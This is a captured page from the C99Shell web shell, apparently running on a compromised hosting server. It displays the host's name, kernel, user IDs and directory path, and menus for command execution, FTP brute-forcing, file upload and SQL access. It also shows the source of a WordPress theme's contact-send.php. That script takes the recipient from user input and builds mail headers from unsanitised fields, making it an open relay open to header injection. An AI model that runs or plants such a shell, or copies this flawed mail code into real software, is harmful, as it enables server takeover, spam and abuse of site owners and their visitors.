!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/themes/kingsize/php/   drwxr-xr-x
Free 180.65 GB of 490.84 GB (36.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     contact-send.php (2.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php include("../../../../wp-load.php");
//Ensures no one loads page and does simple spam check.
if(isset($_POST['name']) && empty($_POST['spam_check']))
{
    
//Include our email validator for later use 
    
require 'email-validator.php';
    
$validator = new EmailAddressValidator();
    
    
//Declare our $errors variable we will be using later to store any errors.
    
$errors = array();
    
    
//Setup our basic variables
    
$input_name strip_tags($_POST['name']);
    
$input_email strip_tags($_POST['email']);
    
$input_message strip_tags($_POST['message']);

    if(
$_POST['input_to_email']!='')
        
$input_to_email $_POST['input_to_email'];
    else
        
$input_to_email webmaster_email;

    
//We'll check and see if any of the required fields are empty.
    //We use an array to store the required fields.
    
$required = array('Name field' => 'name''Email field' => 'email''Message field' => 'message');
    
    
//Loops through each required $_POST value 
    //Checks to ensure it is not empty.
    
foreach($required as $key=>$value)
    {
        if(isset(
$_POST[$value]) && $_POST[$value] !== ''
        {
            continue;
        }
        else {
            
$errors[] = $key ' cannot be left blank';
        }
    }
    
    
//Make sure the email is valid. 
    
if (!$validator->check_email_address($input_email)) {
           
$errors[] = 'Email address is invalid.';
    }
    
    
//Now check to see if there are any errors 
    
if(empty($errors))
    {        
        
//No errors, send mail using conditional to ensure it was sent.        
        // To send HTML mail, the Content-type header must be set
        
$headers  'MIME-Version: 1.0' "\r\n";
        
//$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";

        // Additional headers
        
$headers .= 'To: You <'.$input_to_email.'>' "\r\n";
        
$headers .= 'From: '.$input_name.' <'.$input_email.'>' "\r\n";

        if(
wp_mail($input_to_email"Message from ".$input_name$input_message,$headers))    
        {
            echo 
'Your email has been sent.';
        }
        else 
        {
            echo 
'There was a problem sending your email.';
        }
        
    }
    else 
    {
        
        
//Errors were found, output all errors to the user.
        
echo implode('<br />'$errors);
        
    }
}
/*else
{
    die('Direct access to this page is not allowed.');
}*/

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0291 ]--